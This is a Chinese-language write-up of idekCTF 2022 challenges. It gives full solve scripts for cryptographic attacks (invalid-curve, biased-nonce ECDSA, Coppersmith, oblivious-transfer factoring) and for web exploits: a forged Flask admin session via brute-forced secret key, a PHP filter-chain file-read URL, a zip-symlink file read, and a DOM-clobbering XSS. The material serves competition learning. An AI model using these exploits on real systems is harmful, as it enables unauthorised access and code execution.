idekCTF 2022 WriteUps

發表於 2023-01-16

分類於 CTF

這周在 TSJ 裡面參加了這場原本該去年辦的但是延期到現在才辦的 CTF，題目很有趣難度也不低。

crypto

ECRSA

p, q = [random_prime(2^512, lbound = 2^511) for _ in range(2)]
e = 3

while gcd(p - 1, e) != 1: p = next_prime(p)
while gcd(q - 1, e) != 1: q = next_prime(q)

n = p*q
d = inverse_mod(e, (p-1)*(q-1))

# d stands for debug. You don't even know n, so I don't risk anything.
print('d =', d)

m = ZZ(int.from_bytes(b"It is UNBREAKABLE, I tell you!! I'll even bet a flag on it, here it is: idek{REDACTED}", 'big'))
t = ZZ(int.from_bytes(b"ECRSA offers added security by elliptic entropy.", 'big'))
ym = randint(1, n)
yt = 2

# I like it when my points lie on my curve.
a, b = matrix([[m, 1], [t, 1]]).solve_right([ym^2 - m^3, yt^2 - t^3])
E = EllipticCurve(Zmod(n), [a, b])
M = E(m, ym)
T = E(t, yt)

E.base_field = E.base_ring # fix multiplication over rings (might not work depending on sage version!)
print('Encrypted flag:', M*e)
print('Encrypted test:', T*e)

這邊有 M*e T*e 和 (t,yt) 三個已知的點，取 resultant 就能得到 $n$ 的倍數，再來因為有 $d$ 所以可以得到 $\varphi(n)$ 的倍數，所以和 $x^{\varphi(n)}-1$ 取 gcd 就能得到精確的 $n$ 。

然後利用 $\varphi(n)$ 隨便除一除就能分解 $n$ ，之後拿 $e$ 對 $\#E(\mathbb{F}_p) \times \#E(\mathbb{F}_q)$ 取 inverse 就能拿到 $E(\mathbb{Z}/n\mathbb{Z})$ 意義下的 $d$ ，然後 decrypt 即可。

e = 3
d = 99193023581616109152177764300040037859521925088272985981669959946817746109531909713425474710564402873765914926441545005839662821744603138460681680285655317684469203777533871394260260583839662628325884473084768835902143240687542429953968760669321064892423877370896609497584167478711224462305776836476437268587
CF = (
    115076663389968253954821343472300155800654332223208277786605760890770425514748910251950393842983935903563187546008731344369976804796963863865102277460894378910744413097852034635455187460730497479244094103353376650220792908529826147612199680141743585684118885745149209575053969106545841997245139943766220688789,
    74232642959425795109854140949498935461683632963630260034964643066394703345139733396470958836932831941672213466233486926122670098721687149917605871805886006479766670309639660332339984667770417687192717160061980507220617662938436637445370463397769213554349920956877041619061811087875024276435043752581073552318,
)
CT = (
    79615329406682121028641446306520032869660130854153788352536429332441749473394735222836513266191300847548366008281109415002581029448905418880962931523411475044527689429201653146200630804486870653795937020571749192405439450656659472253086567149309166068212312829071678837253421625687772396105149376211148834937,
    114576105009077728778286635566905404081211824310970349548035698466418670695753458926421098950418414701335730404414509232776047250916535638430446206810902182305851611221604003509735478943147034397832291215478617613443375140890349118302843641726392253137668650493281241262406250679891685430326869028996183320982,
)

x1, y1 = CF
x2, y2 = CT
x3, y3 = (
    ZZ(int.from_bytes(b"ECRSA offers added security by elliptic entropy.", "big")),
    2,
)
P.<aa, bb> = QQ[]
eqs = [
    y1 ^ 2 - (x1 ^ 3 + aa * x1 + bb),
    y2 ^ 2 - (x2 ^ 3 + aa * x2 + bb),
    y3 ^ 2 - (x3 ^ 3 + aa * x3 + bb),
]
res = lambda x, y, z: x.sylvester_matrix(y, z).det()
f = res(eqs[0], eqs[1], aa)
g = res(eqs[0], eqs[2], aa)
n_mul = ZZ(res(f, g, bb))
phik = e * d - 1
n = reduce(gcd, [pow(i, phik, n_mul) - 1 for i in range(2, 10)] + [n_mul])
p = gcd(pow(2, phik // (2 ^ 4 * 5), n) - 1, n)
q = n // p
assert p * q == n
a, b = matrix([[x1, 1], [x2, 1]]).solve_right(vector([y1^2 - x1^3, y2^2 - x2^3]))

E = EllipticCurve(Zmod(n), [a, b])
odp = E.change_ring(GF(p)).order()
odq = E.change_ring(GF(q)).order()
d = inverse_mod(e, odp * odq)
m, _ = (E(CF) * int(d)).xy()
print(int(m).to_bytes(256, "big").strip(b"\x00"))
# idek{Sh3_s3ll5_5n4k3_01l_0n_7h3_5e4_5h0r3}

Formal Security Poop

這題有個自己的 Elliptic Curve 實作，裡面完全沒檢查所以和 invalid curve 有關。而題目本身有一個永久的 key $b, B=bG$ 和 session key $y, Y=yG$ ，key exchange 的時候自己也要有永久的 key $a, A=aG$ 和 session key $x, X=xG$ ，然後用 shared secret $S$ hash 得到 AES KEY。其中 shared secret 如下:

\begin{aligned} S &= (y+H(Y)b)(X+H(X)A) \\ &= (y+H(Y)b)(x+H(X)a)G \\ &= (x+H(X)a)(Y+H(Y)B) \end{aligned}

然後裡面有個用 session key sign 東西的功能，其中 $k$ 只有 64 bits，而 curve 本身是 secp128r1，所以用 ecdsa biased nonce attack 可以求 $y$ ，因此要取得 $b$ 的問題就變成一個 ECDLP 了。

再來 invalid curve 的部分可以一開始先把 $A$ 設成 $O$ ，那麼 $S$ 所在的 curve 就會在我們可以自由決定的 $X$ 的同一條 curve 上，所以只要選一些有 small subgroup 的曲線就能拿到 $b \mod{?}$ 的一些值，配合 Reinitialize session 功能去更新 $X,y$ 就能拿到很多等式，然後 CRT 求出 $b$ 即可。

唯一要注意的一點是我們並不知道 $S$ ，但是因為 AES key 是 $S$ 的 hash，所以可以設 $X$ order 為 subgroup 大小，方便直接爆破 $S$ 然後解密看看對不對。因為這個方法和一般 BSGS 不同，沒有平方根的加速，所以 subgroup 不能選太大。

預先計算一些有 smooth order 的曲線:

from sage.all import *
from ecc import *

curves = []
FF = GF(p)
grps = []
b = 3
while reduce(lcm, grps, 1) < 2 ** 256:
    EE = EllipticCurve(FF, [E.a, b])
    G = EE.gen(0)
    od = EE.order()
    fs = od.factor()
    subgroups = [f for f, e in fs if f < 2 ** 16 and f > 5]
    grps += subgroups
    if len(subgroups) > 0:
        curves.append((EE, G, od, subgroups))
    print(b, subgroups)
    b += 1
print(reduce(lcm, grps))
print(p)

import pickle
pickle.dump(curves, open("curves.pkl", "wb"))

然後利用那些資料去解:

from sage.all import *
from pwn import remote, process, context
from Crypto.Util.Padding import pad, unpad
from Crypto.Cipher import AES
from tqdm import tqdm
from ecc import *
import pickle

with open("curves.pkl", "rb") as f:
    curves = pickle.load(f)

import sys

sys.path.insert(0, "./lattice-based-cryptanalysis")
from lbc_toolkit import ecdsa_biased_nonce_zero_msb

Point.__repr__ = lambda self: f"({self.x}, {self.y})"


def balanced_mod(x, p):
    x %= p
    if x > p // 2:
        x -= p
    return x


def get_params(P):
    x = P.x
    y = P.y
    x2 = (2 * P).x
    y2 = (2 * P).y
    a, b = matrix(QQ, [[x, 1], [x2, 1]]).solve_right(
        vector([y**2 - x**3, y2**2 - x2**3])
    )
    # return a % p, b % p
    return balanced_mod(a, p), balanced_mod(b, p)


def is_on_curve(P, E):
    return (P.y**2 - P.x**3 - E.a * P.x - E.b) % p == 0


# io = process(["python", "main.py"])
io = remote("formal-security-poop.chal.idek.team", 1337)


def sendpoint(io, P):
    io.sendlineafter(b"x = ", str(P.x).encode())
    io.sendlineafter(b"y = ", str(P.y).encode())


def recvpoint(io):
    io.recvuntil(b"x = ")
    x = int(io.recvline().strip())
    io.recvuntil(b"y = ")
    y = int(io.recvline().strip())
    return Point(E, x, y)


def store(io, aes, owner, secret):
    io.sendlineafter(b">>> ", b"1")
    io.sendlineafter(b"Who are you? ", owner.encode())
    io.sendlineafter(b"secret = ", aes.encrypt(pad(secret, 16)).hex().encode())


def retrieve(io, aes, owner, priv):
    io.sendlineafter(b">>> ", b"2")
    io.sendlineafter(b"Who are you? ", owner.encode())
    t, T = gen_key()
    sendpoint(io, T)
    io.recvuntil(b"c = ")
    c = int(io.recvline().strip())
    s = t + c * priv
    io.sendlineafter(b"s = ", str(s).encode())
    io.recvuntil(b"secret = ")
    ct = bytes.fromhex(io.recvlineS().strip())
    try:
        return unpad(aes.decrypt(ct), 16)
    except ValueError:
        return ct


def dosession(io, x, X):
    sendpoint(io, X)
    B = recvpoint(io)
    Y = recvpoint(io)
    # S = (y + H(Y)*b)*(X + H(X)*A)
    S = (x + H(X) * a) * (Y + H(Y) * B)
    key = sha512(H(S).to_bytes(32, "big")).digest()[:16]
    aes = AES.new(key, AES.MODE_ECB)
    return B, Y, key, aes


def resession(io, x, X):
    io.sendlineafter(b">>> ", b"4")
    return dosession(io, x, X)


def sign(io, owner):
    io.sendlineafter(b">>> ", b"3")
    io.sendlineafter(b"sign? ", owner.encode())
    io.recvuntil(b"r = ")
    r = int(io.recvline().strip())
    io.recvuntil(b"s = ")
    s = int(io.recvline().strip())
    return r, s


# a, A = gen_key()
a, A = 0, E.O
x, X = gen_key()

sendpoint(io, A)
B, Y, key, aes = dosession(io, x, X)

secret = b"flag{peko}"
store(io, aes, "peko", secret)
print(retrieve(io, aes, "peko", a))


def get_y():
    Z = []
    R = []
    S = []
    m = int.from_bytes(sha512(secret).digest(), "big") % p
    for _ in range(4):
        r, s = sign(io, "peko")
        Z.append(ZZ(m))
        R.append(ZZ(r))
        S.append(ZZ(s))
    l = p.bit_length() - 64
    return ecdsa_biased_nonce_zero_msb(Z, R, S, ZZ(p), l)


y = get_y()
print(f"{y = }")

EE, GG, od, subgroups = curves[0]
gsize = subgroups[-1]
print(gsize)

old_aes = aes


def get_bmod(EE, GG, od, gsize):
    cf = od // gsize
    X = Point(E, *[int(x) for x in (cf * GG).xy()])
    B, Y, *_ = resession(io, 0, X)
    y = get_y()
    assert y * G == Y
    ct = retrieve(io, old_aes, "peko", a)
    print(f"{y = }")
    for sol in tqdm(range(1, gsize + 1)):
        S = (y + H(Y) * sol) * (X + H(X) * A)
        key = sha512(H(S).to_bytes(32, "big")).digest()[:16]
        aes = AES.new(key, AES.MODE_ECB)
        try:
            if unpad(aes.decrypt(ct), 16) == secret:
                return sol
            break
        except ValueError:
            pass


def get_b():
    xx = []
    yy = []
    for EE, GG, od, subgroups in curves:
        print("Use", EE)
        for gsize in subgroups:
            if gsize in yy:
                continue
            try:
                sol = get_bmod(EE, GG, od, gsize)
                # for some unknown reason, the result may sometimes be wrong
                # simply re-run the script until you get flag
                if sol is not None:
                    print(f"b = {sol} mod {gsize}")
                    xx.append(sol)
                    yy.append(gsize)
            except:
                pass
    return crt(xx, yy), reduce(lcm, yy)


b, m = get_b()
print(f"b = {b} (mod {m})")
x, X = gen_key()
B, Y, key, aes = resession(io, x, X)
print(retrieve(io, aes, "Bob", b))
io.interactive()
# idek{HMQV_m4d3_K0bl1tz_4ng3ry}

從 flag 可以知道那個 key exchange 是 HMQV: A High-Performance Secure Diffie-Hellman Protocol，不過 HMQV 和 Koblitz 的關係我就不太清楚了，作者 writeup 最後面有些關於這個的連結。

Chronophobia

這題和 RSA timelock 有關，對於一個隨機的 $t$ 要想辦法計算 $t^r \mod{n}$ 的值，其中 $r=2^{2^d}, d \in [128,256]$ 。因為 $r$ 很大所以 repeated squaring 是不行的，需要知道 $\varphi(n)$ 才行。

另外題目有個 oracle $f(u)$ 會計算幫你計算 $\operatorname{MSB}(u^r \mod{n})$ 的值，一共可以呼叫 1337 次。

因為 $t^r \times t^r \equiv (t^2)^r \pmod{n}$ ，把 $f(t)$ 和 $f(t^2)$ 的未知部分分別記為 $x,y$ 可得 $(f(t)+x)(f(t)+x) \equiv f(t^2)+y \pmod{n}$ 。依照這題給的參數來說 $0 \leq x,y < 10^{108}$ ，而 $n \approx 2^{1024}$ 應該相對來說不是很大，直接 coppersmith 看看就出來了。

from sage.all import *
from pwn import process, remote
import sys

sys.path.append("./lattice-based-cryptanalysis")

# idk why defund/coppersmith doesn't work...
# need to remove `algorithm='msolve'` from solve_system_with_gb
from lbc_toolkit import small_roots

# io = process(["python", "server.py"])
io = remote("chronophobia.chal.idek.team", 1337)
io.recvuntil(b"token: ")
t = int(io.recvlineS().strip())
io.recvuntil(b"modulus is: ")
n = int(io.recvlineS().strip())
print(f"{n = }")
print(f"{t = }")


def oracle(x):
    io.sendlineafter(b">>>", b"1")
    io.sendlineafter(b"token. ", str(x).encode())
    io.sendlineafter(b"calculation? ", b"-1")
    io.recvuntil(b"ans is ")
    val = int(io.recvuntil(b"...", drop=True))
    io.recvuntil(b"(")
    rem = int(io.recvuntil(b" ", drop=True))
    return val * 10**rem


ft = oracle(t)
ft2 = oracle(t**2)
P = Zmod(n)["x,y"]
x, y = P.gens()
f = (ft + x) * (ft + x) - (ft2 + y)

print(f)
rs = small_roots(f, [10 ** (308 - 200)] * 2, m=2, d=2)
print(rs)
xx, yy = rs[0]
io.sendlineafter(b">>>", b"2")
io.sendlineafter(b"ticket. ", str(ft + xx).encode())
io.interactive()
# idek{St@rburst_str3@m!!!}

# intended: HNP with hidden multiplier

我原本用了 defund/coppersmith 的 small_roots 都做不出來，但是換成了 joseph 的 Lattice-based Cryptanalysis Toolkit 中的 small_roots 就很神奇的成功了。

另外據這題作者蛋捲所說，intended solution 是和 HNP with hidden multiplier 有關的，writeup 在此。

Finite Realm of Random

我連這題是什麼意思都不太懂，所以連解釋都無法解釋 QQ。能做出這題還是自己亂弄弄出來的，所以也請直接讀作者的 writeup。

from random import choice, shuffle, randint
from tqdm import tqdm


def as_poly_of(self, gen):
    L = self.parent()
    d = L.degree()
    V = L.base_ring() ^ d

    vecs = [vector(self)] + [vector(gen ^ i) for i in range(d)]
    dependence = V.linear_dependence(vecs)

    if all(coeffs[0] == 0 for coeffs in dependence):
        raise ArithmeticError(f"Cannot express {self} as a polynomial in {gen}")

    coeffs = next(list(coeffs) for coeffs in dependence if coeffs[0] != 0)
    return L.base_ring()["x"](coeffs[1:]) / -coeffs[0]


with open("out.txt", "r") as f:
    x = bytes.fromhex(f.read())


def get_L(bits):
    L = GF(127)
    for i in range(bits.nbits() - 1):
        L = L["x"].irreducible_element(2, algorithm="random").splitting_field(f"t{i}")
    return L


L = get_L(32)

for i in range(0, len(x), 32):
    M = L(list(map(ZZ, x[i : i + 32])))
    for _ in tqdm(range(200)):
        m = M
        while m == M:
            roots = L.random_element().minimal_polynomial().roots(L)
            shuffle(roots)

            try:
                (r1, _), (r2, _) = roots[:2]
                M = as_poly_of(M, r1)(r2)
            except:
                pass
        if M.polynomial().degree() < 16:
            print(bytes(M.polynomial()).decode())
            break
# idek{4nd_7hu5_5p0k3_G4!015:_7h3_f1n1t3_r34Lm_sh4ll_n07_h4rb0ur_r4nd0mn355,_0n!y_7h3_fr0b3n1u5__}

Decidophobia

這題是一個 Oblivious Transfer 的題目，有個 $n=pqr$ 共 1536 bits 需要分解，然後它會在另一個 768 bits 的 $N=PQ$ 下透過 OT 讓你選 $p,q,r$ 的其中一個拿，但是這題的目標是完全分解 $n$ 。

Oblivious Transfer 會先生成 $0 \leq x_1,x_2,x_3 < N$ 三個隨機數傳送給你，然後你需要傳回一個 $v$ ，然後它會算:

\begin{aligned} c_1 \equiv (v-x_1)^d + p \pmod{N} \\ c_2 \equiv (v-x_2)^d + q \pmod{N} \\ c_3 \equiv (v-x_3)^d + r \pmod{N} \end{aligned}

所以假設說想拿 $p$ 的話就選 $v = r^e + x_1$ ，然後 $c_1 - r \mod{N}$ 就能得到 $p$ 了。

Intended Solution

這題讓我想起的第一個題目是 zer0pts CTF 2022 - OK 這題，它利用 $v-x_1 \equiv -(v-x_2) \pmod{N}$ 求得兩個值的加總，以這題來說也就是 $s \equiv c_1+c_2 \equiv p+q \pmod{N}$ ，因為 $p+q < N$ 所以 $s$ 就是精確的 $p+q$ ，但我想不出一個只用 $p+q$ 和 $n=pqr$ 就能分解 $n$ 的方法。

仔細想一想會發現 $p,q$ 都只有 512 bits 左右， $N$ 是 728 bits，所以如果讓 $v-x_1 \equiv -l^e (v-x_2)$ 的話那麼就有 $s \equiv c_1 + c_2l \equiv p+ql \pmod{N}$ 。為了讓 $p+ql$ 不要超過 $N$ 我這邊取 $l=2^{255}$ 而已。( $l^{256}$ 也不是不行，但是超過範圍的機率比較高)

所以在不超過的情況下 $s=p+ql$ 在整數下成立，也就是說 $s$ 的 lower bits 是 p 的 lower bits，而 $s$ 的 higher bits 是 q 的 higher bits，分別給了我們一些資訊，所以自然會想用 coppersmith 看看能不能弄出什麼。

為了方便， $p,q$ 會分別紀成 $p_h,p_l,q_h,q_l$ 四個數，其中 $p_l,q_h$ 已知，所以:

\begin{aligned} p(p_h) &= p_h \cdot A + p_l \\ q(q_l) &= q_h \cdot B + q_l \end{aligned}

其中的 $A,B$ 也是一些常數，所以這邊未知的只有 $p_h,q_l$ 而已。這邊可以看出有 coppersmith 的雛型，但是因為未知的有 256 bits，而 $p,q$ 個別只占 $n=pq$ 的 $1/3$ 而已，因此這邊是 $\beta \approx 0.33$ 的 coppersmith，根本做不出來。

我這邊再把兩個多項式相乘得到:

\begin{aligned} f(p_h,q_l) &= p(p_h)*q(q_l) \\ &= (p_h \cdot A + p_l)(q_h \cdot B + q_l) \end{aligned}

這樣它 modulo $pq$ 的時候就是 0 了，所以 $\beta \approx 0.66$ ，但因為是在 multivariate coppersmith 的情況下，bounds 一樣不合，也是做不出來，所以我就在這邊卡了很久 QQ。

後來才發現其實我有沒用到的資訊，也就是 $s$ 的 middle bits 其實是 $p_h+q_l$ 的這件事，我們可以把它記為 $t$ ，由此可得:

g(p_h,q_l) = p_h+q_l-t

顯然 $g$ 的根在整數下成立，所以

h(q_l)=\operatorname{Res}_{p_h}(f,g)

是一個一元二次多項式，一樣是在 modulo $pq$ 下 $h(q_l)$ 為 0，所以一樣是 $\beta \approx 0.66$ ，不過因為這次剩下了一元所以直接 small_roots 就出來了，剩下就能分解整個 $n$ 解掉這題。

from sage.all import *
from pwn import process, remote

# io = process(["python", "server.py"])
io = remote("decidophobia.chal.idek.team", 1337)
io.sendlineafter(b">>> ", b"1")
io.recvuntil(b"n = ")
n = int(io.recvline())
io.recvuntil(b"enc = ")
enc = int(io.recvline())
io.sendlineafter(b">>> ", b"2")
io.sendlineafter(b">>> ", b"2")
io.recvuntil(b"N = ")
N = int(io.recvline())
io.recvuntil(b"x1 = ")
x1 = int(io.recvline())
io.recvuntil(b"x2 = ")
x2 = int(io.recvline())
io.recvuntil(b"x3 = ")
x3 = int(io.recvline())

psplit = 255
qsplit = 512 - psplit + 1
l = 2**psplit
k = pow(l, 0x10001, N)

# https://hackmd.io/@theoldmoon0602/SJrf0HPMq

# v-x1=-k(v-x2)=-kv+kx2
# (k+1)v=kx2+x1

# (v-x1)^d=(-k(v-x2))^d=-(k^d)*(v-x2)^d
# k1=(v-x1)^d=-(k^d)*k2

# k1+(k^d)*k2=0
# c1+(k^d)*c2=p+l*q


v = (k * x2 + x1) * pow(k + 1, -1, N) % N
assert (v - x1) % N == -k * (v - x2) % N
io.sendlineafter(b"response: ", str(v).encode())

io.recvuntil(b"c1 = ")
c1 = int(io.recvline())
io.recvuntil(b"c2 = ")
c2 = int(io.recvline())
io.recvuntil(b"c3 = ")
c3 = int(io.recvline())

s = (c1 + l * c2) % N
pl = s % l  # lower bits are lower bits of p
qh = s >> 513  # upper bits are upper bits of q

P = Zmod(n)["ql, ph"]
ql, ph = P.gens()
pp = ph * (1 << psplit) + pl
qq = qh * (1 << qsplit) + ql
t = (s >> psplit) % (1 << qsplit)  # middle bits are sum of ql+ph

f = pp * qq
g = ql + ph - t
h = f.sylvester_matrix(g, ph).det().univariate_polynomial()
# it should be beta=0.66, but beta=0.33 works and it is faster :thinking:
x = h.monic().small_roots(X=2**qsplit, beta=0.33, epsilon=0.02)[0]
pq = gcd(ZZ(h(x)), n)
r = n // pq
q = ZZ(qq.univariate_polynomial()(x))
p = pq // q
assert p * q * r == n

phi = (p - 1) * (q - 1) * (r - 1)
d = pow(0x10001, -1, phi)
ticket = pow(enc, d, n)
io.sendlineafter(b">>> ", b"4")
io.sendlineafter(b"ticket. ", str(ticket).encode())
io.interactive()
# idek{H0n3sty_1s_th3_b3st_p0l1cy?_N0p3_b3c4us3_w3_ar3_h@ck3rs!}

不過雖說最後那邊應該用 beta=0.66，但我使用 beta=0.33 也能弄出答案，而且計算的速度還比較快，有點神奇。

作者 writeup

Unintended Solution

後來和作者聊了一下他說 B6a 的 Mystiz 找到了另一個 Unintended Solution，問了一下也是很有趣。

首先直接取 $v=x_1$ 可以獲得 $p$ 和 $qr$ ，而利用剩下的 $c_2,c_3$ 可列出:

\begin{aligned} (c_2-q)^e &\equiv x_1 - x_2 \pmod{N} \\ (c_3-r)^e &\equiv x_1 - x_3 \pmod{N} \end{aligned}

為了一律都只用一個未知數 $q$ 表達，可以把第二式乘 $q^e$ 得到:

\begin{aligned} (c_2-q)^e &\equiv x_1 - x_2 \pmod{N} \\ (qc_3-qr)^e &\equiv q^e(x_1 - x_3) \pmod{N} \end{aligned}

因為 $qr$ 已知，而 $e=65537$ 所以用 Half GCD 就能求出 $q$ 解掉這題了。

from sage.all import *
from pwn import process, remote

# io = process(["python", "server.py"])
io = remote("decidophobia.chal.idek.team", 1337)
io.sendlineafter(b">>> ", b"1")
io.recvuntil(b"n = ")
n = int(io.recvline())
io.recvuntil(b"enc = ")
enc = int(io.recvline())
io.sendlineafter(b">>> ", b"2")
io.sendlineafter(b">>> ", b"2")
io.recvuntil(b"N = ")
N = int(io.recvline())
io.recvuntil(b"x1 = ")
x1 = int(io.recvline())
io.recvuntil(b"x2 = ")
x2 = int(io.recvline())
io.recvuntil(b"x3 = ")
x3 = int(io.recvline())
v = x1
io.sendlineafter(b"response: ", str(v).encode())
io.recvuntil(b"c1 = ")
c1 = int(io.recvline())
io.recvuntil(b"c2 = ")
c2 = int(io.recvline())
io.recvuntil(b"c3 = ")
c3 = int(io.recvline())

e = 0x10001
p = c1
qr = n // p
P = Zmod(N)["qq"]
qq = P.gen()
f = (c2 - qq) ** e - (x1 - x2)
g = (qq * c3 - qr) ** e - qq**e * (x1 - x3)

# https://github.com/rkm0959/rkm0959_implements/tree/main/Half_GCD
def HGCD(a, b):
    if 2 * b.degree() <= a.degree() or a.degree() == 1:
        return 1, 0, 0, 1
    x = a.parent().gen()
    m = a.degree() // 2
    a_top, a_bot = a.quo_rem(x**m)
    b_top, b_bot = b.quo_rem(x**m)
    R00, R01, R10, R11 = HGCD(a_top, b_top)
    c = R00 * a + R01 * b
    d = R10 * a + R11 * b
    q, e = c.quo_rem(d)
    d_top, d_bot = d.quo_rem(x ** (m // 2))
    e_top, e_bot = e.quo_rem(x ** (m // 2))
    S00, S01, S10, S11 = HGCD(d_top, e_top)
    RET00 = S01 * R00 + (S00 - q * S01) * R10
    RET01 = S01 * R01 + (S00 - q * S01) * R11
    RET10 = S11 * R00 + (S10 - q * S11) * R10
    RET11 = S11 * R01 + (S10 - q * S11) * R11
    return RET00, RET01, RET10, RET11


def GCD(a, b):
    print(a.degree(), b.degree())
    q, r = a.quo_rem(b)
    if r == 0:
        return b
    R00, R01, R10, R11 = HGCD(a, b)
    c = R00 * a + R01 * b
    d = R10 * a + R11 * b
    if d == 0:
        return c.monic()
    q, r = c.quo_rem(d)
    if r == 0:
        return d
    return GCD(d, r)


h = GCD(f, g)
q = ZZ(-h[0] / h[1])
r = qr // q
assert p * q * r == n

phi = (p - 1) * (q - 1) * (r - 1)
d = pow(0x10001, -1, phi)
ticket = pow(enc, d, n)
io.sendlineafter(b">>> ", b"4")
io.sendlineafter(b"ticket. ", str(ticket).encode())
io.interactive()
# idek{H0n3sty_1s_th3_b3st_p0l1cy?_N0p3_b3c4us3_w3_ar3_h@ck3rs!}

web

SimpleFileServer

Symlink zip 的一個檔案到 / 就能任意讀檔 (Zip slip)，然後讀 config 可知需要用 server 的起動時間去得到 SECRET_KEY，這部分可以從 server log 拿到，所以稍微爆破一下就能得到 SECRET_KEY，最後把自己 sign 成 admin 拿 flag 即可。

import hashlib
import random
import os
import time
from itsdangerous import URLSafeTimedSerializer
from flask.json.tag import TaggedJSONSerializer
from datetime import datetime
from tqdm import tqdm

SECRET_OFFSET = -67198624
random.seed(round((time.time() + SECRET_OFFSET) * 1000))
secret_key = "".join([hex(random.randint(0, 15)) for x in range(32)]).replace("0x", "")

ts = "2023-01-13 23:04:17 +0000"
session = (
    "eyJhZG1pbiI6bnVsbCwidWlkIjoic3VwZXJuZW5lIn0.Y8Kb_g.jokIwc1vZqHsYyVxzi_-7puqIUE"
)

dt = datetime.strptime(ts, "%Y-%m-%d %H:%M:%S %z")
st = (int(dt.timestamp()) + SECRET_OFFSET) * 1000

signer_kwargs = {"key_derivation": "hmac", "digest_method": hashlib.sha1}
serializer = TaggedJSONSerializer()

pbar = tqdm()
while True:
    pbar.update(1)
    random.seed(st)
    secret_key = "".join([hex(random.randint(0, 15)) for x in range(32)]).replace(
        "0x", ""
    )
    try:
        print(
            URLSafeTimedSerializer(
                secret_key,
                salt="cookie-session",
                signer_kwargs=signer_kwargs,
                serializer=serializer,
            ).loads(session)
        )
        print(secret_key)
        print(st)
        break
    except:
        pass
    st += 1


tok = URLSafeTimedSerializer(
    secret_key,
    salt="cookie-session",
    signer_kwargs=signer_kwargs,
    serializer=serializer,
).dumps({"admin": True, "uid": "supernene"})
import requests

r = requests.get(
    "http://simple-file-server.chal.idek.team:1337/flag", cookies={"session": tok}
)
print(r.text)
# idek{s1mpl3_expl01t_s3rver}

Paywall

用這個或是這個串一串 PHP filter chain 即可。

http://paywall.chal.idek.team:1337/?p=php%3A%2F%2Ffilter%2Fconvert.iconv.UTF8.CSISO2022KR%7Cconvert.base64-encode%7Cconvert.iconv.UTF8.UTF7%7Cconvert.iconv.SE2.UTF-16%7Cconvert.iconv.CSIBM921.NAPLPS%7Cconvert.iconv.855.CP936%7Cconvert.iconv.IBM-932.UTF-8%7Cconvert.base64-decode%7Cconvert.base64-encode%7Cconvert.iconv.UTF8.UTF7%7Cconvert.iconv.8859_3.UTF16%7Cconvert.iconv.863.SHIFT_JISX0213%7Cconvert.base64-decode%7Cconvert.base64-encode%7Cconvert.iconv.UTF8.UTF7%7Cconvert.iconv.INIS.UTF16%7Cconvert.iconv.CSIBM1133.IBM943%7Cconvert.iconv.GBK.SJIS%7Cconvert.base64-decode%7Cconvert.base64-encode%7Cconvert.iconv.UTF8.UTF7%7Cconvert.iconv.PT.UTF32%7Cconvert.iconv.KOI8-U.IBM-932%7Cconvert.iconv.SJIS.EUCJP-WIN%7Cconvert.iconv.L10.UCS4%7Cconvert.base64-decode%7Cconvert.base64-encode%7Cconvert.iconv.UTF8.UTF7%7Cconvert.iconv.L5.UTF-32%7Cconvert.iconv.ISO88594.GB13000%7Cconvert.iconv.CP950.SHIFT_JISX0213%7Cconvert.iconv.UHC.JOHAB%7Cconvert.base64-decode%7Cconvert.base64-encode%7Cconvert.iconv.UTF8.UTF7%7Cconvert.iconv.863.UNICODE%7Cconvert.iconv.ISIRI3342.UCS4%7Cconvert.base64-decode%7Cconvert.base64-encode%7Cconvert.iconv.UTF8.UTF7%7Cconvert.iconv.CP-AR.UTF16%7Cconvert.iconv.8859_4.BIG5HKSCS%7Cconvert.iconv.MSCP1361.UTF-32LE%7Cconvert.iconv.IBM932.UCS-2BE%7Cconvert.base64-decode%7Cconvert.base64-encode%7Cconvert.iconv.UTF8.UTF7%7Cconvert.iconv.PT.UTF32%7Cconvert.iconv.KOI8-U.IBM-932%7Cconvert.iconv.SJIS.EUCJP-WIN%7Cconvert.iconv.L10.UCS4%7Cconvert.base64-decode%7Cconvert.base64-encode%7Cconvert.iconv.UTF8.UTF7%7Cconvert.base64-decode%2Fresource%3Dflag

idek{Th4nk_U_4_SubscR1b1ng_t0_our_n3wsPHPaper!}

JSON Beautifier

這題 code 量很少，但也是相當好玩的題目。

/static/js/main.js:

window.inputBox = document.getElementById('json-input');
window.outputBox = document.getElementById('json-output');
window.container = document.getElementById('container');

const defaults = {
	opts: {
		cols: 4
	},
	debug: false,
};

const beautify = () => {
	try {
		userJson = JSON.parse(inputBox.textContent);
	} catch (e){
		return;
	};

	loadConfig();
	const cols = this.config?.opts?.cols || defaults.opts.cols;
	output = JSON.stringify(userJson, null, cols);

	console.log(this.config?.opts)
	
	if(this.config?.debug || defaults.debug){
		eval(`beautified = ${output}`);
		return beautified;
	};
	
	outputBox.innerHTML = `<pre>${output}</pre>`
};

const saveConfig = (config) => {
	localStorage.setItem('config', JSON.stringify(config));
};

const loadConfig = () => {
	if (localStorage.hasOwnProperty('config')){
		window.config = JSON.parse(localStorage.getItem('config'))
	};
}

console.log('hello from JSON beautifier!')

inputBox.addEventListener("DOMCharacterDataModified", () => {
	beautify();
});

if((new URL(location).searchParams).get('json')){
	const jsonParam = (new URL(location).searchParams).get('json');
	inputBox.textContent = jsonParam;
};

beautify();

顯然有個 innerHTML 的 XSS，但因為有 CSP script-src 'unsafe-eval' 'self'; object-src 'none'; 所以要想辦法觸發 eval。

首先可以塞個 iframe srcdoc 在裡面再次載入 /static/js/main.js，然後用 DOM clobbering 蓋 config.debug 就能讓他進入 eval。

然而 output 是 JSON.stringify 出來的產物，所以沒辦法正常控制想要執行的 code，因此要找方法 clobbering config.opts.cols 的內容。不過這邊沒辦法使用正常的 DOM Clobbering 技巧直接控制 cols，因為 MDN JSON.stringify 的這一句話要求說 cols 必須是 string 或是 number 才行:

If space is anything other than a string or number (can be either a primitive or a wrapper object) — for example, is null or not provided — no white space is used.

所以看來要找找看有沒有哪個元素有 cols 這個 attribute:

Object.getOwnPropertyNames(window).filter(x => window[x]?.prototype?.hasOwnProperty('cols'))
// (2) ['HTMLTextAreaElement', 'HTMLFrameSetElement']

其中 textarea 的 cols 只能是數字，不過 frameset 的 cols 可以是 string，所以可以用 frameset 來控制 cols。

最後是 cols 還必須要在 10 個字元以內，因為 MDN 說:

If this is a string, the string (or the first 10 characters of the string, if it's longer than that) is inserted before every nested object or array.

所以 JSON.stringify([0], null, 'eval(name),') 會得到一個 syntax error:

[
eval(name)0
]

不過利用 JSON.stringify(['*/alert(1)//'], null, '/*') 的話就能得到

[
/*"*/alert(1)//"
]

由此就能 XSS 了。

<script>
	function htmlEscape(str) {
		return str
